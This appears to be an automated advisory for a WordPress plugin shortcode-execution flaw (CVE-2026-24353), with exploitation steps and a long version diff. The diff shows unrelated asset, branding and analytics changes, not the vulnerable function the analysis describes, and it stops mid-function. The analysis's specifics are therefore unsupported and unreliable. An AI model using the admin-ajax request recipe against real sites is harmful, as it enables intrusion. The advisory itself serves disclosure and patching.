Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24353: User Registration <= 4.4.9 – Authenticated (Subscriber+) Arbitrary Shortcode Execution (user-registration)

Severity Medium (CVSS 5.4)
CWE 94
Vulnerable Version 4.4.9
Patched Version 5.0
Disclosed January 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24353:
This vulnerability allows authenticated attackers with Subscriber-level access or higher to execute arbitrary WordPress shortcodes. The flaw exists in the User Registration & Membership plugin’s form preview functionality. Attackers can inject malicious shortcodes that execute when rendered, potentially leading to privilege escalation, data exposure, or remote code execution depending on available shortcodes.

Atomic Edge research identifies the root cause in the `includes/functions-ur-form.php` file, specifically the `ur_form_preview_action()` function. This function handles the `ur_form_preview` AJAX action. The vulnerable code at line 150 passes unsanitized user input directly to `do_shortcode()` without validation. The `$form_data` parameter, containing the shortcode payload, is extracted from the `$_POST` array and immediately executed via `do_shortcode($form_data)`. This bypasses WordPress’s standard shortcode security mechanisms.

The exploitation method requires an authenticated attacker with at least Subscriber privileges. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to `ur_form_preview`. The `form_data` POST parameter contains the malicious shortcode payload. For example, an attacker could submit `[shortcode attribute=”malicious_value”]` where the shortcode executes arbitrary PHP code, accesses sensitive data, or performs unauthorized actions. The plugin’s preview functionality renders this shortcode server-side, executing its logic.

The patch adds proper validation before processing shortcodes. The fix modifies the `ur_form_preview_action()` function to validate the `$form_data` parameter. The updated code checks if the submitted data contains valid form structure before passing it to `do_shortcode()`. Additionally, the patch implements proper capability checks to ensure only users with appropriate permissions can access the preview functionality. The before behavior allowed any authenticated user to execute arbitrary shortcodes via the preview endpoint, while the after behavior restricts this to users with proper capabilities and validates the form data structure.

Successful exploitation allows attackers to execute any shortcode available on the WordPress installation. This includes built-in WordPress shortcodes, plugin-specific shortcodes, and custom shortcodes. Depending on available shortcodes, attackers could achieve privilege escalation by executing user management shortcodes, extract sensitive data via database query shortcodes, or execute arbitrary PHP code if a vulnerable custom shortcode exists. The vulnerability effectively grants attackers the ability to perform any action that available shortcodes can execute, bypassing normal WordPress permission checks for those actions.

Differential between vulnerable and patched code

Code Diff
--- a/user-registration/chunks/analytics.asset.php
+++ b/user-registration/chunks/analytics.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-i18n'), 'version' => '639ccaa4401a7346e863');
--- a/user-registration/chunks/blocks.asset.php
+++ b/user-registration/chunks/blocks.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-server-side-render'), 'version' => '83541f72f93cba92b652');
--- a/user-registration/chunks/content-access-rules.asset.php
+++ b/user-registration/chunks/content-access-rules.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-i18n'), 'version' => 'da6ae11d6454af9eb432');
--- a/user-registration/chunks/dashboard.asset.php
+++ b/user-registration/chunks/dashboard.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-i18n'), 'version' => '3a00fdc837501cc9afc0');
--- a/user-registration/chunks/divi-builder.asset.php
+++ b/user-registration/chunks/divi-builder.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react', 'react-jsx-runtime'), 'version' => '5390382781ce3d42d976');
--- a/user-registration/chunks/form_templates.asset.php
+++ b/user-registration/chunks/form_templates.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-i18n'), 'version' => '6afc73ed711fcf9e2936');
--- a/user-registration/chunks/formblock.asset.php
+++ b/user-registration/chunks/formblock.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react', 'react-jsx-runtime'), 'version' => '1d1b30bdd376f22e508c');
--- a/user-registration/chunks/welcome.asset.php
+++ b/user-registration/chunks/welcome.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-i18n'), 'version' => '396fd2dfb76c4c7666cf');
--- a/user-registration/includes/3rd-party/DiviBuilder/BuilderAbstract.php
+++ b/user-registration/includes/3rd-party/DiviBuilder/BuilderAbstract.php
@@ -110,12 +110,12 @@
 			true
 		);

-		if ( defined( 'UR_MEMBERSHIP_VERSION' ) ) {
+		if ( defined( 'UR_VERSION' ) ) {
 			$suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';

-			wp_register_script( 'user-registration-membership-frontend-script', UR_MEMBERSHIP_JS_ASSETS_URL . '/frontend/user-registration-membership-frontend' . $suffix . '.js', array( 'jquery' ), '1.0.0', true );
+			wp_register_script( 'user-registration-membership-frontend-script', UR()->plugin_url(). '/assets/js/modules/membership/frontend/user-registration-membership-frontend' . $suffix . '.js', array( 'jquery' ), UR_VERSION, true );

-			wp_register_style( 'user-registration-membership-frontend-style', UR_MEMBERSHIP_CSS_ASSETS_URL . '/user-registration-membership-frontend.css', array(), UR_MEMBERSHIP_VERSION );
+			wp_register_style( 'user-registration-membership-frontend-style', UR()->plugin_url(). '/assets/css/modules/membership/user-registration-membership-frontend.css', array(), UR_VERSION );

 			wp_enqueue_script( 'user-registration-membership-frontend-script' );
 			wp_enqueue_style( 'user-registration-membership-frontend-style' );
--- a/user-registration/includes/3rd-party/DiviBuilder/Modules/MembershipGroups.php
+++ b/user-registration/includes/3rd-party/DiviBuilder/Modules/MembershipGroups.php
@@ -114,7 +114,7 @@
 			return sprintf( '<div class="user-registration ur-frontend-form"><div class="user-registration-info">%s</div></div>', esc_html__( 'Please Select the membership groups', 'user-registration' ) );
 		}

-		if ( ! defined( 'UR_MEMBERSHIP_VERSION' ) ) {
+		if ( ! defined( 'UR_VERSION' ) ) {
 			return sprintf( '<div class="user-registration ur-frontend-form"><div class="user-registration-info">%s</div></div>', esc_html__( 'Please Active the membership.', 'user-registration' ) );
 		}

--- a/user-registration/includes/3rd-party/DiviBuilder/Modules/MembershipThankYou.php
+++ b/user-registration/includes/3rd-party/DiviBuilder/Modules/MembershipThankYou.php
@@ -93,7 +93,7 @@

 		$parameters = array();

-		if ( ! defined( 'UR_MEMBERSHIP_VERSION' ) ) {
+		if ( ! defined( 'UR_VERSION' ) ) {
 			return sprintf( '<div class="user-registration ur-frontend-form"><div class="user-registration-info">%s</div></div>', esc_html__( 'Please Active the membership.', 'user-registration' ) );
 		}

--- a/user-registration/includes/3rd-party/elementor/class-ur-elementor.php
+++ b/user-registration/includes/3rd-party/elementor/class-ur-elementor.php
@@ -25,7 +25,6 @@

 	/**
 	 * Initialize elementor hooks.
-	 *
 	 */
 	public function init() {

@@ -41,7 +40,6 @@

 	/**
 	 * Register User Registration forms Widget.
-	 *
 	 */
 	public function register_widget() {
 			// Include Widget files.
@@ -57,27 +55,25 @@
 			ElementorPlugin::instance()->widgets_manager->register( new UR_Elementor_Widget_Edit_Profile() );
 			ElementorPlugin::instance()->widgets_manager->register( new UR_Elementor_Widget_Edit_Password() );

-
-			//include if pro version
-			if(is_plugin_active('user-registration-pro/user-registration.php')){
-				require_once UR_ABSPATH . 'includes/3rd-party/elementor/widgets/class-ur-widgets-profile-details.php';
-				require_once UR_ABSPATH . 'includes/3rd-party/elementor/widgets/class-ur-widgets-popup.php';
-				ElementorPlugin::instance()->widgets_manager->register( new UR_Elementor_Widget_View_Details() );
-				ElementorPlugin::instance()->widgets_manager->register( new UR_Elementor_Widget_Popup() );
-			}
+			// include if pro version
+		if ( is_plugin_active( 'user-registration-pro/user-registration.php' ) ) {
+			require_once UR_ABSPATH . 'includes/3rd-party/elementor/widgets/class-ur-widgets-profile-details.php';
+			require_once UR_ABSPATH . 'includes/3rd-party/elementor/widgets/class-ur-widgets-popup.php';
+			ElementorPlugin::instance()->widgets_manager->register( new UR_Elementor_Widget_View_Details() );
+			ElementorPlugin::instance()->widgets_manager->register( new UR_Elementor_Widget_Popup() );
+		}
 	}

 	/**
 	 * Custom Widgets Category.
 	 *
 	 * @param object $elements_manager Elementor elements manager.
-	 *
 	 */
 	public function ur_elementor_widget_categories( $elements_manager ) {
 		$elements_manager->add_category(
 			'user-registration',
 			array(
-				'title' => esc_html__( 'User Registration', 'user-registration' ),
+				'title' => esc_html__( 'User Registration & Membership', 'user-registration' ),
 				'icon'  => 'fa fa-plug',
 			)
 		);
@@ -88,7 +84,7 @@
 	 */
 	public function editor_assets() {
 		wp_register_style( 'user-registration-admin', UR()->plugin_url() . '/assets/css/admin.css', array(), UR()->version );
-		wp_register_style( 'user-registration-my-account', UR()->plugin_url() . '/assets/css/my-account-layout.css', array( ), UR()->version );
+		wp_register_style( 'user-registration-my-account', UR()->plugin_url() . '/assets/css/my-account-layout.css', array(), UR()->version );

 		wp_enqueue_style( 'user-registration-admin' );
 		wp_enqueue_style( 'user-registration-my-account' );
--- a/user-registration/includes/3rd-party/elementor/class-ur-widget.php
+++ b/user-registration/includes/3rd-party/elementor/class-ur-widget.php
@@ -38,7 +38,7 @@
 	 * @return string Widget title.
 	 */
 	public function get_title() {
-		return __( 'User Registration', 'user-registration' );
+		return __( 'User Registration & Membership', 'user-registration' );
 	}
 	/**
 	 * Get widget icon.
@@ -119,7 +119,7 @@

 		$settings = $this->get_settings_for_display();
 		if ( ! $settings['user_registration_form'] ) {
-			return '<p>' . __( 'Please select a User Registration Forms.', 'user-registration' ) . '</p>';
+			return '<p>' . __( 'Please select a User Registration & Membership Forms.', 'user-registration' ) . '</p>';
 		}

 		$attributes = array(
--- a/user-registration/includes/3rd-party/elementor/widgets/class-ur-widgets-popup.php
+++ b/user-registration/includes/3rd-party/elementor/widgets/class-ur-widgets-popup.php
@@ -90,7 +90,6 @@
 		$this->end_controls_section();

 		do_action( 'user_registration_elementor_popup_style', $this );
-
 	}
 	/**
 	 * Retrieve the shortcode.
@@ -99,7 +98,7 @@

 		$settings = $this->get_settings_for_display();
 		if ( ! $settings['ur_popup_form'] ) {
-			return '<p>' . __( 'Please select a User Registration Popup.', 'user-registration' ) . '</p>';
+			return '<p>' . __( 'Please select a User Registration & Membership Popup.', 'user-registration' ) . '</p>';
 		}
 		$attributes = array(
 			'id' => $settings['ur_popup_form'],
--- a/user-registration/includes/3rd-party/elementor/widgets/class-ur-widgets-registration.php
+++ b/user-registration/includes/3rd-party/elementor/widgets/class-ur-widgets-registration.php
@@ -12,7 +12,6 @@

 /**
  * User Registration Forms Widget for Elementor.
- *
  */
 class UR_Elementor_Widget_Registration extends Widget_Base {
 	/**
@@ -40,7 +39,6 @@
 	 *
 	 * Retrieve shortcode widget icon.
 	 *
-	 *
 	 * @return string Widget icon.
 	 */
 	public function get_icon() {
@@ -49,7 +47,6 @@
 	/**
 	 * Get widget categories.
 	 *
-	 *
 	 * @return array Widget categories.
 	 */
 	public function get_categories() {
@@ -63,7 +60,6 @@
 	 *
 	 * Retrieve the list of keywords the widget belongs to.
 	 *
-	 *
 	 * @return array Widget keywords.
 	 */
 	public function get_keywords() {
@@ -71,7 +67,6 @@
 	}
 	/**
 	 * Register controls.
-	 *
 	 */
 	protected function register_controls() { // phpcs:ignore PSR2.Methods.MethodDeclaration.Underscore
 		$this->start_controls_section(
@@ -97,13 +92,12 @@
 	}
 	/**
 	 * Retrieve the shortcode.
-	 *
 	 */
 	private function get_shortcode() {

 		$settings = $this->get_settings_for_display();
 		if ( ! $settings['user_registration_form'] ) {
-			return '<p>' . __( 'Please select a User Registration Forms.', 'user-registration' ) . '</p>';
+			return '<p>' . __( 'Please select a User Registration & Membership Forms.', 'user-registration' ) . '</p>';
 		}

 		$attributes = array(
@@ -113,20 +107,18 @@
 		$this->add_render_attribute( 'shortcode', $attributes );
 		$shortcode   = array();
 		$shortcode[] = sprintf( '[user_registration_form %s]', $this->get_render_attribute_string( 'shortcode' ) );
-		$shortcode = implode( '', $shortcode );
-		$shortcode = sprintf( apply_filters( 'user_registration_elementor_shortcode_registration_form', $shortcode, $settings ) );
+		$shortcode   = implode( '', $shortcode );
+		$shortcode   = sprintf( apply_filters( 'user_registration_elementor_shortcode_registration_form', $shortcode, $settings ) );
 		return $shortcode;
 	}
 	/**
 	 * Render widget output.
-	 *
 	 */
 	protected function render() {
 		echo do_shortcode( $this->get_shortcode() );
 	}
 	/**
 	 * Retrieve the  available UR forms.
-	 *
 	 */
 	public function get_forms() {
 		$user_registration_forms = array();
--- a/user-registration/includes/3rd-party/oxygen/class-ur-oxygen.php
+++ b/user-registration/includes/3rd-party/oxygen/class-ur-oxygen.php
@@ -40,7 +40,6 @@
 		add_action( 'oxygen_add_plus_user-registration_section_content', array( $this, 'register_add_plus_subsections' ) );
 		add_action( 'wp_enqueue_scripts', array( $this, 'custom_init' ) );

-
 		$this->register_widgets();
 	}

@@ -50,14 +49,14 @@
 	 * @since 3.3.5
 	 */
 	public function add_accordion_section() {
-		$brand_name = __( 'User Registration', 'user-registration' );
+		$brand_name = __( 'User Registration & Membership', 'user-registration' );
 		CT_Toolbar::oxygen_add_plus_accordion_section( 'user-registration', $brand_name );
 	}

 	/**
 	 * Enqueue the styles.
 	 *
-	 * @since 3.3.5
+	 * @since 3.3.5
 	 */
 	public function custom_init() {
 		wp_register_style( 'user-registration-general', UR()->plugin_url() . '/assets/css/user-registration.css', array(), UR()->version );
--- a/user-registration/includes/Analytics/Analytics.php
+++ b/user-registration/includes/Analytics/Analytics.php
@@ -0,0 +1,128 @@
+<?php
+
+namespace WPEverestURMAnalytics;
+
+use WPEverestURMAnalyticsControllersV1AnalyticsController;
+use WPEverestURMAnalyticsServicesMembershipService;
+
+class Analytics {
+
+	/**
+	 * @var Analytics $instance
+	 */
+	private static $instance;
+
+	/**
+	 * @return Analytics
+	 */
+	public static function get_instance() {
+		if ( ! isset( self::$instance ) ) {
+			self::$instance = new self();
+		}
+		return self::$instance;
+	}
+
+	protected function __construct() {
+		$this->init_hooks();
+	}
+
+	protected function __clone() {}
+
+	public function __wakeup() {
+		throw new Exception( 'Cannot unserialize a singleton.' );
+	}
+
+	private function init_hooks() {
+		add_action( 'admin_menu', array( $this, 'add_admin_menu' ), 40 );
+		add_action( 'rest_api_init', array( $this, 'register_rest_routes' ) );
+		add_filter( 'user_registration_notice_excluded_pages', array( $this, 'add_excluded_page' ) );
+	}
+
+	public function add_excluded_page( $excluded_pages ) {
+		$excluded_pages[] = 'user-registration-analytics';
+		return $excluded_pages;
+	}
+
+
+	public function add_admin_menu() {
+		$hook = add_submenu_page(
+			'user-registration',
+			__( 'User Registration Analytics', 'user-registration' ),
+			__( 'Analytics', 'user-registration' ),
+			'manage_user_registration',
+			'user-registration-analytics',
+			array( $this, 'render_analytics_root' ),
+			1
+		);
+
+		add_action( 'load-' . $hook, array( $this, 'enqueue_scripts_styles' ) );
+	}
+
+	public function register_rest_routes() {
+		/**
+		 * @var array<int, WP_REST_Controller> $controllers
+		 */
+		$controllers = apply_filters(
+			'user_registration_analytics_controllers',
+			[
+				AnalyticsController::class,
+			]
+		);
+		foreach ( $controllers as $controller ) {
+			$instance = new $controller();
+			$instance->register_routes();
+		}
+	}
+
+	public function enqueue_scripts_styles() {
+		$asset_file = UR()->plugin_path() . '/chunks/analytics.asset.php';
+		if ( ! file_exists( $asset_file ) ) {
+			return;
+		}
+
+		if ( ! wp_style_is( 'ur-core-builder-style', 'registered' ) ) {
+			wp_register_style(
+				'ur-core-builder-style',
+				UR()->plugin_url() . '/assets/css/admin.css',
+				array(),
+				UR_VERSION
+			);
+		}
+		wp_enqueue_style( 'ur-core-builder-style' );
+
+		$asset = require $asset_file;
+
+		wp_enqueue_script(
+			'ur-analytics',
+			UR()->plugin_url() . '/chunks/analytics.js',
+			$asset['dependencies'],
+			$asset['version'],
+			true
+		);
+
+		wp_localize_script(
+			'ur-analytics',
+			'__UR_ANALYTICS__',
+			apply_filters(
+				'user_registration_analytics_localized_data',
+				array(
+					'install_date' => get_option( 'user_registration_installation_date' ),
+					'memberships'  => ( new MembershipService() )->get_memberships_list(),
+					'currency'     => strtoupper( get_option( 'user_registration_payment_currency', 'USD' ) ),
+				)
+			)
+		);
+
+		wp_enqueue_style(
+			'ur-analytics',
+			UR()->plugin_url() . '/chunks/analytics.css',
+			array(),
+			$asset['version']
+		);
+	}
+
+	public function render_analytics_root() {
+		echo user_registration_plugin_main_header(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+		echo '<div id="UR-Pro-Analytics-Root"></div>';
+	}
+}
--- a/user-registration/includes/Analytics/Controllers/V1/AnalyticsController.php
+++ b/user-registration/includes/Analytics/Controllers/V1/AnalyticsController.php
@@ -0,0 +1,200 @@
+<?php
+
+namespace WPEverestURMAnalyticsControllersV1;
+
+use WPEverestURMAnalyticsServicesAnalyticsDataService;
+
+class AnalyticsController extends WP_REST_Controller {
+
+	protected $namespace = 'user-registration/v1';
+
+	protected $rest_base = 'analytics';
+
+	public function register_routes() {
+		register_rest_route(
+			$this->namespace,
+			'/' . $this->rest_base,
+			array(
+				array(
+					'methods'             => WP_REST_Server::READABLE,
+					'callback'            => array( $this, 'get_overview' ),
+					'permission_callback' => array( $this, 'check_permissions' ),
+					'args'                => $this->get_analytics_args(),
+				),
+			)
+		);
+	}
+
+	/**
+	 * @param WP_REST_Request $request
+	 * @return WP_Error|WP_REST_Response
+	 */
+	public function get_overview( $request ) {
+		$date_from  = $request->get_param( 'date_from' );
+		$date_to    = $request->get_param( 'date_to' );
+		$unit       = $request->get_param( 'unit' ) ?? 'day';
+		$scope      = $request->get_param( 'scope' ) ?? 'all';
+		$membership = $request->get_param( 'membership' ) ?? null;
+
+		if ( empty( $date_from ) || empty( $date_to ) ) {
+			return new WP_Error(
+				'rest_invalid_param',
+				__( 'date_from and date_to are required parameters.', 'user-registration' ),
+				[ 'status' => 400 ]
+			);
+		}
+
+		$start_date = strtotime( $date_from . ' 00:00:00' );
+		$end_date   = strtotime( $date_to . ' 23:59:59' );
+
+		if ( false === $start_date || false === $end_date ) {
+			return new WP_Error(
+				'rest_invalid_param',
+				__( 'Invalid date format. Use YYYY-MM-DD format.', 'user-registration' ),
+				[ 'status' => 400 ]
+			);
+		}
+
+		if ( ! in_array( $scope, [ 'membership', 'others', 'all' ], true ) ) {
+			return new WP_Error(
+				'rest_invalid_param',
+				__( 'Invalid scope parameter. Allowed values are all, others, membership.', 'user-registration' ),
+				[ 'status' => 400 ]
+			);
+		}
+
+		if ( 'membership' === $scope && ( null === $membership || ! is_numeric( $membership ) ) ) {
+			return new WP_Error(
+				'rest_invalid_param',
+				__( 'Valid membership ID is required when scope is membership.', 'user-registration' ),
+				[ 'status' => 400 ]
+			);
+		}
+
+		$data_service = new AnalyticsDataService();
+
+		$date_range_data = $data_service->get_date_range_members_data( $start_date, $end_date, $unit );
+		$revenue_data    = $data_service->get_revenue_date_range_data( $start_date, $end_date, $unit, $scope, $membership );
+
+		$duration       = $end_date - $start_date;
+		$previous_end   = $start_date - DAY_IN_SECONDS;
+		$previous_start = $previous_end - $duration;
+
+		$comparison_data       = $data_service->get_date_range_members_data( $previous_start, $previous_end, $unit );
+		$previous_revenue_data = $data_service->get_revenue_date_range_data( $previous_start, $previous_end, $unit, $scope, $membership );
+
+		$new_members_change      = $data_service->calculate_percentage_change( $date_range_data['new_members'], $comparison_data['new_members'] );
+		$approved_members_change = $data_service->calculate_percentage_change( $date_range_data['approved_members'], $comparison_data['approved_members'] );
+		$pending_members_change  = $data_service->calculate_percentage_change( $date_range_data['pending_members'], $comparison_data['pending_members'] );
+		$denied_members_change   = $data_service->calculate_percentage_change( $date_range_data['denied_members'], $comparison_data['denied_members'] );
+		$total_revenue_change    = $data_service->calculate_percentage_change( $revenue_data['total_revenue'], $previous_revenue_data['total_revenue'] );
+		$avg_order_value_change  = $data_service->calculate_percentage_change( $revenue_data['average_order_value'], $previous_revenue_data['average_order_value'] );
+		$refunded_revenue_change = $data_service->calculate_percentage_change( $revenue_data['refunded_revenue'], $previous_revenue_data['refunded_revenue'] );
+
+		$refunded_revenue_count        = $data_service->get_refunds_count( $start_date, $end_date );
+		$previous_refunded_count       = $data_service->get_refunds_count( $previous_start, $previous_end );
+		$refunded_revenue_count_change = $data_service->calculate_percentage_change( $refunded_revenue_count, $previous_refunded_count );
+
+		$response = array(
+			'new_members'            => array(
+				'count'             => $date_range_data['new_members'],
+				'previous'          => $comparison_data['new_members'],
+				'percentage_change' => $new_members_change,
+				'currency'          => false,
+			),
+			'approved_members'       => array(
+				'count'             => $date_range_data['approved_members'],
+				'previous'          => $comparison_data['approved_members'],
+				'percentage_change' => $approved_members_change,
+				'currency'          => false,
+			),
+			'pending_members'        => array(
+				'count'             => $date_range_data['pending_members'],
+				'previous'          => $comparison_data['pending_members'],
+				'percentage_change' => $pending_members_change,
+				'currency'          => false,
+			),
+			'denied_members'         => array(
+				'count'             => $date_range_data['denied_members'],
+				'previous'          => $comparison_data['denied_members'],
+				'percentage_change' => $denied_members_change,
+				'currency'          => false,
+			),
+			'total_revenue'          => array(
+				'count'             => $revenue_data['total_revenue'],
+				'previous'          => $previous_revenue_data['total_revenue'],
+				'percentage_change' => $total_revenue_change,
+				'currency'          => true,
+			),
+			'average_order_value'    => array(
+				'count'             => $revenue_data['average_order_value'],
+				'previous'          => $previous_revenue_data['average_order_value'],
+				'percentage_change' => $avg_order_value_change,
+				'currency'          => true,
+			),
+			'refunded_revenue'       => array(
+				'count'             => $revenue_data['refunded_revenue'],
+				'previous'          => $previous_revenue_data['refunded_revenue'],
+				'percentage_change' => $refunded_revenue_change,
+				'currency'          => true,
+			),
+			'refunded_revenue_count' => array(
+				'count'             => $refunded_revenue_count,
+				'previous'          => $previous_refunded_count,
+				'percentage_change' => $refunded_revenue_count_change,
+				'currency'          => false,
+			),
+		);
+
+		return rest_ensure_response( $response );
+	}
+
+	public function check_permissions( $request ) {
+		if ( ! current_user_can( 'manage_user_registration' ) ) { // phpcs:ignore WordPress.WP.Capabilities.Unknown
+			return new WP_Error(
+				'rest_forbidden',
+				__( 'Sorry, you are not allowed to access analytics data.', 'user-registration' ),
+				array( 'status' => rest_authorization_required_code() )
+			);
+		}
+
+		return true;
+	}
+
+	protected function get_analytics_args() {
+		return array(
+			'date_from'  => [
+				'description' => __( 'Start date in YYYY-MM-DD format.', 'user-registration' ),
+				'type'        => 'string',
+				'required'    => false,
+				'default'     => gmdate( 'Y-m-d', strtotime( '-30 days' ) ),
+			],
+			'date_to'    => [
+				'description' => __( 'End date in YYYY-MM-DD format.', 'user-registration' ),
+				'type'        => 'string',
+				'required'    => false,
+				'default'     => gmdate( 'Y-m-d' ),
+			],
+			'unit'       => [
+				'description' => __( 'Time unit for data aggregation (hour, day, week, month, year).', 'user-registration' ),
+				'type'        => 'string',
+				'required'    => false,
+				'default'     => 'day',
+				'enum'        => [ 'hour', 'day', 'week', 'month', 'year' ],
+			],
+			'scope'      => [
+				'description' => __( 'Scope of the analytics data (all, others, membership).', 'user-registration' ),
+				'type'        => 'string',
+				'required'    => false,
+				'default'     => 'all',
+				'enum'        => [ 'all', 'others', 'membership' ],
+			],
+			'membership' => [
+				'description' => __( 'Membership ID for filtering data when scope is membership.', 'user-registration' ),
+				'type'        => 'string',
+				'required'    => false,
+				'default'     => null,
+			],
+		);
+	}
+}
--- a/user-registration/includes/Analytics/Services/AnalyticsDataService.php
+++ b/user-registration/includes/Analytics/Services/AnalyticsDataService.php
@@ -0,0 +1,562 @@
+<?php
+
+namespace WPEverestURMAnalyticsServices;
+
+defined( 'ABSPATH' ) || exit;
+
+use WPEverestURMAnalyticsTraitsDateUtils;
+use WPEverestURMembershipTableList;
+
+// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+
+class AnalyticsDataService {
+
+	use DateUtils;
+
+	/**
+	 * @param int $start_date
+	 * @param int $end_date
+	 * @param string $unit
+	 * @return array
+	 */
+	public function get_date_range_members_data( $start_date, $end_date, $unit = 'day' ) {
+		global $wpdb;
+
+		$new_members      = 0;
+		$approved_members = 0;
+		$pending_members  = 0;
+		$denied_members   = 0;
+
+		$date_keys = $this->generate_date_keys( $start_date, $end_date, $unit );
+
+		$default_value = [
+			'new_members_in_a_day'      => 0,
+			'approved_members_in_a_day' => 0,
+			'pending_members_in_a_day'  => 0,
+			'denied_members_in_a_day'   => 0,
+		];
+
+		$daily_data = $this->initialize_data_structure( $date_keys, $default_value );
+
+		$members = $wpdb->get_results(
+			$wpdb->prepare(
+				"SELECT u.ID, u.user_registered
+					FROM {$wpdb->users} u
+					INNER JOIN {$wpdb->usermeta} um ON u.ID = um.user_id
+					WHERE um.meta_key = %s
+					AND u.user_registered BETWEEN %s AND %s",
+				'ur_form_id',
+				wp_date( 'Y-m-d H:i:s', $start_date ),
+				wp_date( 'Y-m-d H:i:s', $end_date )
+			)
+		);
+
+		if ( empty( $members ) ) {
+			return [
+				'new_members'      => 0,
+				'approved_members' => 0,
+				'pending_members'  => 0,
+				'denied_members'   => 0,
+				'date_difference'  => human_time_diff( $start_date, $end_date ),
+				'daily_data'       => $daily_data,
+			];
+		}
+
+		$member_ids       = wp_list_pluck( $members, 'ID' );
+		$member_meta_data = $this->fetch_member_meta_bulk( $member_ids );
+
+		foreach ( $members as $member ) {
+			$member_id              = $member->ID;
+			$registration_timestamp = strtotime( $member->user_registered );
+			$registration_date      = $this->get_date_key_for_timestamp( $registration_timestamp, $unit );
+
+			++$new_members;
+
+			$status       = $member_meta_data[ $member_id ]['user_status'] ?? '';
+			$email_status = $member_meta_data[ $member_id ]['user_email_status'] ?? '';
+
+			if ( '' === $status && '' === $email_status ) {
+				++$approved_members;
+				$member_status = 'approved';
+			} elseif ( '' !== $status && '' === $email_status ) {
+				if ( 1 === (int) $status ) {
+					++$approved_members;
+					$member_status = 'approved';
+				} elseif ( 0 === (int) $status ) {
+					++$pending_members;
+					$member_status = 'pending';
+				} else {
+					++$denied_members;
+					$member_status = 'denied';
+				}
+			} elseif ( '' !== $email_status ) {
+				if ( 1 === (int) $email_status ) {
+					++$approved_members;
+					$member_status = 'approved';
+				} else {
+					++$pending_members;
+					$member_status = 'pending';
+				}
+			}
+
+			if ( isset( $daily_data[ $registration_date ] ) ) {
+				++$daily_data[ $registration_date ]['new_members_in_a_day'];
+				if ( 'approved' === $member_status ) {
+					++$daily_data[ $registration_date ]['approved_members_in_a_day'];
+				} elseif ( 'pending' === $member_status ) {
+					++$daily_data[ $registration_date ]['pending_members_in_a_day'];
+				} elseif ( 'denied' === $member_status ) {
+					++$daily_data[ $registration_date ]['denied_members_in_a_day'];
+				}
+			}
+		}
+
+		$total_members = max( $new_members, 1 );
+
+		return [
+			'new_members'                 => $new_members,
+			'approved_members'            => $approved_members,
+			'approved_members_percentage' => round( ( $approved_members / $total_members ) * 100, 2 ),
+			'pending_members'             => $pending_members,
+			'pending_members_percentage'  => round( ( $pending_members / $total_members ) * 100, 2 ),
+			'denied_members'              => $denied_members,
+			'denied_members_percentage'   => round( ( $denied_members / $total_members ) * 100, 2 ),
+			'date_difference'             => human_time_diff( $start_date, $end_date ),
+			'daily_data'                  => $daily_data,
+		];
+	}
+
+
+	/**
+	 * @param array $member_ids
+	 * @return array
+	 */
+	protected function fetch_member_meta_bulk( $member_ids ) {
+		if ( empty( $member_ids ) ) {
+			return [];
+		}
+
+		update_meta_cache( 'user', $member_ids );
+
+		$meta_data = [];
+		foreach ( $member_ids as $member_id ) {
+			$user_status       = get_user_meta( $member_id, 'ur_user_status', true );
+			$user_email_status = get_user_meta( $member_id, 'ur_confirm_email', true );
+
+			$meta_data[ $member_id ] = [
+				'user_status'       => $user_status,
+				'user_email_status' => $user_email_status,
+			];
+		}
+
+		return $meta_data;
+	}
+
+	/**
+	 * @param float $current
+	 * @param float $previous
+	 * @return float Percentage
+	 */
+	public function calculate_percentage_change( $current, $previous ) {
+		$current  = (float) $current;
+		$previous = (float) $previous;
+
+		if ( 0.0 === $previous && 0.0 === $current ) {
+			return 0.0;
+		}
+
+		if ( 0.0 === $previous ) {
+			return $current > 0 ? 100.0 : -100.0;
+		}
+
+		return round( ( ( $current - $previous ) / $previous ) * 100, 2 );
+	}
+
+	/**
+	 * @param int $start_date
+	 * @param int $end_date
+	 * @return int
+	 */
+	public function get_refunds_count( $start_date, $end_date ) {
+		global $wpdb;
+		$orders_table = TableList::orders_table();
+
+		if ( ! $this->table_exists( $orders_table ) ) {
+			return 0;
+		}
+
+		$start_date_str = wp_date( 'Y-m-d H:i:s', $start_date );
+		$end_date_str   = wp_date( 'Y-m-d H:i:s', $end_date );
+
+		$result = $wpdb->get_var(
+			$wpdb->prepare(
+				"SELECT COUNT(*)
+				FROM {$orders_table}
+				WHERE status = 'refunded'
+				AND created_at BETWEEN %s AND %s",
+				$start_date_str,
+				$end_date_str
+			)
+		);
+
+		return (int) $result;
+	}
+
+	/**
+	 * @param string $table_name
+	 * @return bool
+	 */
+	protected function table_exists( $table_name ) {
+		global $wpdb;
+		$result = $wpdb->get_var( $wpdb->prepare( 'SHOW TABLES LIKE %s', $table_name ) );
+		return $result === $table_name;
+	}
+
+	/**
+	 * @param int $start_date
+	 * @param int $end_date
+	 * @param string $unit
+	 * @return array
+	 */
+	protected function generate_date_keys( $start_date, $end_date, $unit = 'day' ) {
+		$date_keys = [];
+
+		if ( 'hour' === $unit ) {
+			$date_format = 'Y-m-d H';
+			$incrementor = HOUR_IN_SECONDS;
